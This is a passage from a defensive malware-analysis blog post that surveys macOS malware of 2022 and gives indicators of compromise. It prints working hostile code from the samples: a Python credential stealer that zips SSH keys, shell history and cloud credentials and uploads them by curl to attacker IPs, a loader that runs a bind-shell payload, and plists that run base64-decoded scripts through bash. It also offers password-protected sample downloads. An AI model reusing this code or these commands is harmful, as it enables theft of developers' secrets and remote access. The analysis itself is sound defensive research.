0x00000000000ff3ac db 0x62 ; 'b'
0x00000000000ff3ad db 0x69 ; 'i'
0x00000000000ff3ae db 0x6e ; 'n'
0x00000000000ff3af db 0x2f ; '/'
0x00000000000ff3b0 db 0x73 ; 's'
0x00000000000ff3b1 db 0x68 ; 'h'
As the file, payload.so
is a dynamic library (dylib) it cannot be directly executed …instead it needs a loader. For analysis purposes let’s write a simple loader that dlopen
s payload.so
and invokes one of its exported function.
First, let’s dump the exports via nm
(using the -gu
command line flags):
% nm -gU ~/Downloads/payload.so 00000000000fdf30 T _gconv 00000000000fdf70 T _gconv_init ...
We’ll call the gconv_init
export as its contains the bind-shell logic:
1 void *handle = dlopen("./payload.so", RTLD_LAZY);
2
3 int (*fptr)(void) = (int (*)(void))dlsym(handle, "gconv_init");
4 (*fptr)();
The file and network events themselves however are triggered by code within the payload.so
While running a File Monitor:, we first observe payload.so
self deleting. In the decompilation this is realized via a call to GO’s os.removeAll
function.
# FileMonitor.app/Contents/MacOS/FileMonitor -pretty ... { "event" : "ES_EVENT_TYPE_NOTIFY_UNLINK", "file" : { "destination" : "/Users/user/Downloads/payload.so", "process" : { "pid" : 13363 "name" : "loader", "path" : "/Users/user/Downloads/loader", } } }
Then, the bind-shell logic is executed, which results in a listening socket, readily observable via Netiquette
:
Indicators of Compromise (IoCs):
IoCs for Insekt
include the following (credit: Talos):
exploit
: ef130f1941077ffe383fe90e241620dde771cd0dd496dad29d2048d5fc478faf
payload.so
: ae9f370c89f0191492ed9c17a224d9c41778b47ca2768f732b4de6ee7d0d1459
Talos, has published a full list of IoCs which should also be consulted.
KeySteal
KeySteal, as its name implies is a simple keychain stealer, embedded in a trojanized copy of a popular free application.
Download: KeySteal
(password: infect3d
)
In November, researchers from TrendMicro published a report, details how a copy of the open-source ResignTool
was packaged up with keychain-stealing malware
ResignTool, a convenient and practical application in Apple devices has been infiltrated by a piece of #malware to steal Keychain information. More details: https://t.co/FRhjrO5Al5
— Trend Micro Research (@TrendMicroRSRCH) November 19, 2022
Writeups:
Infection Vector: Unknown
The TrendMicro researchers discovered the malware on VirusTotal:
"The sample was discovered on VirusTotal by one of our sourcing rules. It was not yet reported to be in the wild but was submitted in VirusTotal under the name archive.pkg." -TrendMicro
As noted, it was not (yet) seen in the wild, and as such, we don’t currently know its infection vector. However, as the sample was packaged up in a .pkg
, it is likely that infection would require user-interaction (vs. say a remote exploit).
Its worth noting that though the package was signed, as shown by WhatsYourSign
, Apple has now revoked the certificate:
Persistence: Launch Item
Using the Suspicious Package utility, we can examine the malicious packages, noting that it will create the following:
ResignTool
in /Applications
com.apple.googlechrome.plist
Google Chrome
in /Library/QuickTime
Let’s take a peek at the com.apple.googlechrome.plist
file:
1<?xml version="1.0" encoding="UTF-8"?>
2<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" ...">
3<plist version="1.0">
4<dict>
5 <key>KeepAlive</key>
6 <true/>
7 <key>Label</key>
8 <string>com.apple.googlechrome</string>
9 <key>Program</key>
10 <string>/Library/QuickTime/Google Chrome</string>
11 <key>RunAtLoad</key>
12 <true/>
13</dict>
14</plist>
In the ProgramArguments
key we can see the path to the persistent location of the malware: /Library/QuickTime/Google Chrome
. Also, as the RunAtLoad
key is set to true
, the malware will be automatically restarted each time the user logs in. Persistence achieved!
Capabilities: Keychain Stealer
The TrendMicro researchers noted that both binaries dropped by the malware (ResignTool.app
& Google Chrome
) are designed to steal victim’s keychains.
"...[the] ResignTool is where the operations of the malware function and this is how they steal the victim's keychain data. The other dropped file [Google Chrome], has similar keychain stealing routine of the ResignTool binary." -TrendMicro
The malware (as pointed out by TrendMicro) will look for keychain data in the following locations on an infected machine:
We can find these strings, embedded in the malware:
% strings - "KeySteal/Google Chrome" ... %@/Keychains keychain keychain-db /Library/Keychains/ %@/MobileDevice/Provisioning Profiles mobileprovision %@/%@ .mobileprovision
In a disassembler, we can decompile the malware’s code to find a snippet of this code (specifically in a function found at 0x00000001000021f8
):
1r15 = [[NSFileManager defaultManager] retain];
2rax = NSSearchPathForDirectoriesInDomains(0x5, 0x1, 0x1);
3...
4rbx = [[NSString stringWithFormat:@"%@/Keychains", r12] retain];
5rax = [r15 enumeratorAtPath:rbx];
6rax = [rax countByEnumeratingWithState:&var_4F0 objects:&var_B0 count:0x10];
7
8if (rax != 0x0) {
9 ...
10 rax = (rbx)(r13, @selector(pathExtension));
11 r12 = [rax isEqualTo:@"keychain"];
12 if (r12 == 0x0) {
13 rax = [r13 pathExtension];
14 r12 = [rax isEqualTo:@"keychain-db"];
15
16...
Keychain data is then exfiltrated to the attacker’s server (found at usa.4jrb7xn8rxsn8o4lghk7lx6vnvnvazva.com
) via a call to method named: encryptBase64Data
.
Indicators of Compromise (IoCs):
IoCs for KeySteal
include the following (credit: TrendMicro):
Executable Components:
/Applications/ResignTool.app
: 410da3923ea30d5fdd69b9ae69716b094d276cc609f76590369ff254f71c65da
/Library/QuickTime/Google Chrome
:f5b4a388fee4183dfa46908000c5c50dceb4bf8025c4cfcb4d478c5d03833202
Files/Directories:
/Library/QuickTime/
/Library/LaunchDaemons/com.apple.googlechrome.plist
Network:
usa.4jrb7xn8rxsn8o4lghk7lx6vnvnvazva.com/
SentinelSneak
Relying on a “typosquatting” attack, this malicious Python package targeted developers with the goal of exfiltrating sensitive data.
Download: SentinelSneak
(password: infect3d
)
A week before 2022 ended, researchers from ReversingLabs published a report, detailing the discovery of a malicious Python package that masquerades as a legitimate one.
The latest edition of The Week in #Security is here. This week: #Okta is hit with another security incident involving its private #GitHub repos. Also: @ReversingLabs researchers discovered a malicious #PyPI package posing as a #SentinelOne #SDK client. https://t.co/Nhskl2p2QQ
— ReversingLabs (@ReversingLabs) December 22, 2022
Writeups:
Infection Vector: TypoSquatting
The ReversingLabs write-up describes SentinelSneak
’s infection vector:
"A malicious Python package [containing `SentinelSneak`] is posing as a software development kit (SDK) for the security firm SentinelOne.... The package, SentinelOne has no connection to the noted threat detection firm of the same name and was... uploaded to PyPI, the Python Package Index. The `SentinelOne` imposter package is just the latest threat to leverage the PyPI repository and underscores the growing threat to software supply chains, as malicious actors use strategies like “typosquatting” to exploit developer confusion and push malicious code into development pipelines and legitimate applications." -ReversingLabs
As was the case with the other malware of 2022 the spread via “typosquatting” attacks (e.g. CrateDepression
and Pymafka
) SentinelSneak
would infect users who inadvertently downloaded it while looking for the legitimate SentinelOne API Python Package (SentinelOne4py
).
Worth noting too, simply downloading/installing package won’t trigger an infection. Instead it most be used programmatically:
"The malicious functionality in the library does not execute upon installation, but waits to be called on programmatically before activating — a possible effort to avoid detection." -ReversingLabs
…this sneakiness lead to its name; SentinelSneak
.
Persistence: None?
It does not appear that SentinelSneak
persists. Instead (as we’ll show below in the ‘Capabilities’ section), its goal is merely to exfiltrate sensitive files to a remote server.
However it appears that each time the malicious library is programmatically utilized, the malicious code with be (re)executed, and thus exfiltration can occur multiple times.
Capabilities: Data Stealer
The sole goal of SentinelSneak
is to steal (exfiltrate) sensitive developer-related files off an infected machine:
"A detailed analysis of [the malicious] code revealed capabilities that are focused on exfiltration of data that is characteristic for development environments." -ReversingLabs
The malicious logic to perform such exfiltration is found in file named api.py
:
1def run():
2 ...
3 if sys.platform == "darwin":
4 writeFile()
5 elif sys.platform == "linux":
6 writeFile1()
7 ...
First, we find a snippet in the run
method that invokes platform specific-logic. Here, we’ll focus on the darwin
(macOS) code …found in a method named writeFile
:
1def writeFile(serialId='default'):
2 username = get_username()
3 foldername = '/Users/' + username + '/Library/Logs/tmp'
4 zipname = '/Users/' + username + '/Library/Logs/tmp.zip'
5 filename = '/Users/' + username + '/Library/Logs/tmp/tmp.txt'
6 if os.path.exists(foldername):
7 # print('11111')
8 shutil.rmtree(foldername)
9 os.makedirs(foldername)
10 with open(filename, 'a+') as file:
11 file.write('hosts : [{}]'.format(get_hosts()) + '\n')
12 file.write('username : ' + get_username() + '\n')
13 file.write('test : [{}]'.format(subprocess_popen("bash -c ls /")) +'\n')
14
15 bashHistory = '/Users/' + username + '/.bash_history'
16 zshHistory = '/Users/' + username + '/.zsh_history'
17
18 gitConfig = '/Users/' + username + '/.gitConfig'
19 hosts = '/etc/hosts'
20 ssh = '/Users/' + username + '/.ssh'
21 zhHistory = '/Users/' + username + '/.zhHistory'
22 aws = '/home/' + username + '/.aws'
23 kube = '/home/' + username + '/.kube'
24
25 serialId = str(subprocess_popen("hostname"))
26 if os.path.exists(bashHistory):
27 shutil.copyfile(bashHistory, foldername + '/bashHistory')
28 if os.path.exists(zshHistory):
29 shutil.copyfile(zshHistory, foldername + '/zsh_history')
30
31 if os.path.exists(gitConfig):
32 shutil.copyfile(gitConfig, foldername + '/gitConfig')
33 if os.path.exists(hosts):
34 shutil.copyfile(hosts, foldername + '/hosts')
35 if os.path.exists(ssh):
36 shutil.copytree(ssh, foldername + '/ssh')
37 if os.path.exists(zhHistory):
38 shutil.copyfile(zhHistory, foldername + '/zhHistory')
39 if os.path.exists(aws):
40 shutil.copyfile(aws, foldername + '/aws')
41 if os.path.exists(kube):
42 shutil.copyfile(kube, foldername + '/kube')
43 zip_ya(foldername)
44 shutil.rmtree(foldername)
45 command = "curl -k -F \"file=@" + zipname + "\" \"https://54.254.189.27/api/v1/file/upload\" > /dev/null 2>&1"
46 os.system(command)
47 os.remove(zipname)
As the Python code is not obfuscated, it fairly easy to understand. In a nutshell it copies various files (e.g. /.bashHistory
, /.gitConfig
, /.ssh
, /.aws
, etc) into a file named ~/Library/Logs/tmp/tmp.txt
. These files are then zipped up and exfiltrated via curl
to 54.254.189.27
.
Jamf researchers noticed a high similarity to the malware known as ZuRu
(uncovered in 2021 and blogged about by yours truly here). Specifically both ZuRu
and SentinelSpy
leverage rather similar Python code to exfiltrate files. Below is a snippet from ZuRu
’s g.py
file:
1def writeFile():
2 username = get_username()
3 foldername = '/Users/' + username + '/Library/Logs/tmp'
4 zipname = '/Users/' + username + '/Library/Logs/tmp.zip'
5 filename = '/Users/' + username + '/Library/Logs/tmp/tmp.txt'
6 if os.path.exists(foldername):
7 # print('11111')
8 shutil.rmtree(foldername)
9 os.makedirs(foldername)
10 with open(filename, 'a+') as file:
11 ...
12 file.write('hosts文件 : [{}]'.format(get_hosts()) + '\n')
13 file.write('当前用户名 : ' + get_username() + '\n')
14 file.write('test : [{}]'.format(subprocess_popen("bash -c ls /")) + '\n')
15
16 bashHistory = '/Users/' + username + '/.bash_history'
17 zshHistory = '/Users/' + username + '/.zsh_history'
18
19 gitConfig = '/Users/' + username + '/.gitConfig'
20 hosts = '/etc/hosts'
21 ssh = '/Users/' + username + '/.ssh'
22 zhHistory = '/Users/' + username + '/.zhHistory'
23 ...
24 if os.path.exists(bashHistory):
25 shutil.copyfile(bashHistory, foldername + '/bashHistory')
26 if os.path.exists(zshHistory):
27 shutil.copyfile(zshHistory, foldername + '/zsh_history')
28 if os.path.exists(gitConfig):
29 shutil.copyfile(gitConfig, foldername + '/gitConfig')
30 if os.path.exists(hosts):
31 shutil.copyfile(hosts, foldername + '/hosts')
32 if os.path.exists(ssh):
33 shutil.copytree(ssh, foldername + '/ssh')
34 if os.path.exists(zhHistory):
35 shutil.copyfile(zhHistory, foldername + '/zhHistory')
36 ...
37 zip_ya(foldername)
38 shutil.rmtree(foldername)
39
40 command = "curl -F \"file=@" + zipname + "\" \"http://47.75.123.111/u.php?id=%s\" -v" %serialId
41 os.system(command)
42 os.remove(zipname)
43 ...
…almost identical! 🧐
Indicators of Compromise (IoCs):
IoCs for SentinelSneak
include the following (credit: ReversingLabs):
54.254.189.27
For a (rather long) list of hashes of the malicious python packages, see ReversingLabs’ report.
This blog post provided a comprehensive technical analysis of the new mac malware of 2022. However it did not cover adware or malware from previous years. Of course, this is not to say such items are unimportant.
As such, here I’ve include a list (and links to detailed writeups) of other notable items from 2022, for the interested reader.
👾 NukeSped (variant N)
In May, and again in August, ESET researchers observed attacks dropping the NukeSped malware:
#ESETresearch A year ago, a signed Mach-O executable disguised as a job description was uploaded to VirusTotal from Singapore 🇸🇬. Malware is compiled for Intel and Apple Silicon and drops a PDF decoy. We think it was part of #Lazarus campaign for Mac. @pkalnai @marc_etienne_ 1/8 pic.twitter.com/DV7peRHdnJ
— ESET Research (@ESETresearch) May 4, 2022
#ESETresearch #BREAKING A signed Mac executable disguised as a job description for Coinbase was uploaded to VirusTotal from Brazil 🇧🇷. This is an instance of Operation In(ter)ception by #Lazarus for Mac. @pkalnai @dbreitenbacher 1/7 pic.twitter.com/dXg89el5VT
— ESET Research (@ESETresearch) August 16, 2022
The NukeSped malware is associated with the Lazarus APT group (North Korea), and this year’s campaign is rather similar to those of past years.
Writeup:
“North Korean hackers use signed macOS malware to target IT job seekers”
👾 ChromeLoader (adware)
In January a new adware campaign was uncovered, dubbed ChromeLoader
. Over the next few months, various companies (including RedCanary, Palo Alto Networks, and CrowdStrike) tracked, analyzed, and published reports on this attack.
Though the attack campaign was originally discovered in January, a macOS variant did not appear till March:
"In March 2022, a new variant emerged targeting MacOS users. This variant remains active and uses similar techniques to install its payload and hide its actions. It uses the same infection method of directing victims to compromised pay-per-download websites to install its dropper. In this case, the dropper is a disk image (DMG) file – the MacOS implementation for ISO files – containing several files, including one bash script." -Palo Alto Networks
As noted in the quote above, users were tricked into downloading malicious disk images (that pretended to be legitimate software, and/or cracked/pirated software). The malicious programs found on the .dmgs would persistently, as CrowdStriked noted, “modify the user’s browsing experience to deliver ads.”
The Palo Alto Networks researchers noted that for the macOS variant, the disk images would often contain a malicious bash script that performed two actions:
From their report, here is an example bash script:
1status code=$(curl -write-out %{http_code} --head --silent - -output /dev/null https://funbeachdude.com/gp)
2if [[ "status_code" = 200 ]] ; then
3 popUrl=$(curl -s 'https://funbeachdude.com/gp')
4 performPop=$ (echo -ne "open -na 'Google Chrome' -args - load-extension='$BPATH/$XPATH' --new-window '"$popUr]"';" | base64);
5else
6 popUrl="0"
7fi
In terms of persistence, the macOS variant may install a launch agent.
"To maintain persistence, the macOS variation of ChromeLoader will append a preference (plist) file to the /Library/LaunchAgents directory. This ensures that every time a user logs into a graphical session, ChromeLoader’s Bash script can continually run. " -Red Canary
The CrowdStrike report provides additional details showing that both the Chrome and Safari variants of the malware would persist (as launch agent), with commands embedded directly in the property list:
//Chrome variant
<key>ProgramArguments</key>
<array>
<string>sh</string>
<string>-c</string>
<string>echo aWYgcHMg -[ SNIP ]- Zmk= | base64 --decode | bash</string>
</array>
//Safari variant
<key>ProgramArguments</key>
<array>
<string>sh</string>
<string>-c</string>
<string>echo aW1w -[ SNIP ]- kKQ== | base64 --decode | python | bash</string>
</array>
And all this for? Simply, as pointed out by Red Canary, “redirecting web traffic through advertising sites”.
Writeups:
“ChromeLoader: a pushy malvertiser”
“ChromeLoader: New Stubborn Malware Campaign”
“CrowdStrike Uncovers New MacOS Browser Hijacking Campaign”
👾 Shlayer (adware)
Shlayer is arguably the most prolific adware targeting macOS. And though it has been well analyzed and its adware-related activities are well understoof, this year it continued to evolve.
In December, security researcher Taha Karim of Confiant posted a writeup detailing how Shlayer (now) hides its configuration inside Apple proprietary DMG files:
When Shlayer is executed, it will first execute a command to list mounted images, including image-path
value which contains the path on disk to the parent DMG:
% hdiutil info -plist | perl -0777pe 's|\\s*(.*?)\\s*|$1 |gs' | plutil -convert json -r -o - -- - { "framework" : "628.40.2", "images" : [ { "autodiskmount" : true, "blockcount" : 8376, "blocksize" : 512, "diskimages2" : true, "hdid-pid" : 88876, "image-encrypted" : false, "image-path" : "\/Users\/user\/Downloads\/final-cut-pro-x-10-6-1-crack.dmg", "image-type" : "read-only disk image", "owner-uid" : 501, "removable" : true, "system-entities" : [ { "content-hint" : "GUID_partition_scheme", "dev-entry" : "\/dev\/disk7" }, { "content-hint" : "48465300-0000-11AA-AA11-00306543EBAC", "dev-entry" : "\/dev\/disk7s1", "mount-point" : "\/Volumes\/Install" } ], "writeable" : false } ], "revision" : "628.40.2", "vendor" : "Apple" }%
Then Shlayer opens its parent DMG and reads its header, block by block in order to find its embedded configuration information. Once located the configuration data is decrypted:
Below is an example of an extracted (decrypted) config from a Shlayer DMG file:
{
"du": "https://s3.amazonaws.com/b30fd539-402f-4/2b88cb8a-6f2c-44/9945647b-15bd-4a/Install.dmg?fn=final-cut-pro-x-10-6-1-crack-license-key-latest-jan-2022&subaff=2874&e=5&k=7288ee87-db3e-4c47-9dc0-00f009e583a0&s=614aa849-d491-4ad4-a7fe-3ff69cb6f316&client=safari",
"lu": "http://d2hznnx43bsrxg.cloudfront.net/slg?s=%s&c=%i&gs=1",
"bdu": "http://d2hznnx43bsrxg.cloudfront.net/sd/?c=xGlybQ==&u=%s&s=%s&o=%s&b=15425161967&gs=1",
"upb": "76916152451219215425161967",
"p": "nDS8MxD+Tkb54Ocij+4ZMid1lT4f16QCAf/SsI8i+eT0HFx7udZJJTVL/7YETnYwBboycKYxn/WcRdly3ZNwI3lmhMgWobbf7vzy3nUKFhA/PG7wE/TnI7zwmTLlUCMn8ZlR2IhYTgk12+tVwcGfxRP6pjri4Un9Y6b/Pt8/0MGFWY5mSfY7+cRLhnyqLj3EmNoGcuVlV21s6bYZkgmKOAIjbWyQzLLVaw5LBxZK9x4elDe1OKcWdDzNp6Ar+42KYuZPnGlUVa7jUd+5diFSR73wxDIX2TdL+zfcsB4ampVkEUH07Wq8lvlFRKw6SmsJ96ptBR02JD5IgxxhXMaZfHc40E1ZOmxLHltCwpM1yx3aWQA8HUOQedjJnym92q1FDHFixfEgznTOxDZqAjULXPycYXsTkqRxrDqAWhPoSPi5fg3XywrhiytODCbsqbOk9KuryY/FlIdxD97p3V7jIpCi+6fCNegPj08uMmNt7BgrZDGwPoElyiaDEUlbvCc8wIB78QHi9f4GyRUkMmxeuWCLpTl63h+ynkNtPc4PbXe13x0z25s7nZWkPPouEfb8FlxF2LbG1HCXT9nzI9Dt/FHAgANbrAaXUEKmCjBlZnZLahkH2Tua6QaQ7GhV2CnayZctKAEdXMLVAUbpRRKK6lbmjvFGJigfarrNzAg8i3OONoKWA+nlnDE2kJ4Im9JaIjOo9KukCwjxt0fpV7JnvNCMg1IUQj34a41V261i2PvIGDBBIpRlFdKaWw9BFoK5uvG/V3PzHxU6l2E3seuPYFFeQPnHKk4W4ZF6NRRmQLThRVz3RxCKGWM9eMVJNDgbTb7fhFrMBgWLspSo9c7w3Uw1N0GGKMN4U5BFQx64TcXCttAPh8i9T5PQUsLm+mvJpxlWZWKtR0C+uLlQfAqAADGxfqrFlV6ZiEOXjMqdCB4tdvDEWbuEXBr6+yCut+9wNlu3/torf2UcPFR3iMM=",
"umu": false
}
Writeup:
“L’art de l’évasion: How Shlayer hides its configuration inside Apple proprietary DMG files”
New malware is notoriously difficult to detect via traditional signature-based approaches …as, well, it’s new! A far better approach is to leverage heuristics or behaviors, that can detect such malware, even with no a priori knowledge of the specific (new) threats.
For example, imagine you open an Office Document that (unbeknownst to you) contains an exploit or malicious macros which installs a persistent backdoor. This is clearly an unusual behavior, that should be detected and alerted upon.
Good news, Objective-See’s free open-source macOS security tools do not leverage signatures, but instead monitor for such (unusual, and likely malicious) behaviors.
This allows them to detect and alert on various behaviors of the new malware of 2022 (with no prior knowledge of the malware).
For example, let’s look at how SysJoker
, the first malware of 2022, was detected by our free tools:
First, BlockBlock detects SysJoker
’s attempt at persistence (a launch item named com.apple.update.plist
):
LuLu, our free, open-source firewall detects when the malware first attempts to beacon out to grab the encrypted address of it’s command and control server:
And if you’re worried that you are already infected with SysJoker
? KnockKnock can uncover the malware’s persistence (after the fact):
Well that’s a wrap! Thanks for joining our “journey” as we wandered through the macOS malware of 2022.
With the continued growth and popularity of macOS (especially in the enterprise!), 2023 will surely bring a bevy of new macOS malware.
…so, stay safe out there!
You're in luck, as I've written a book on this topic:
|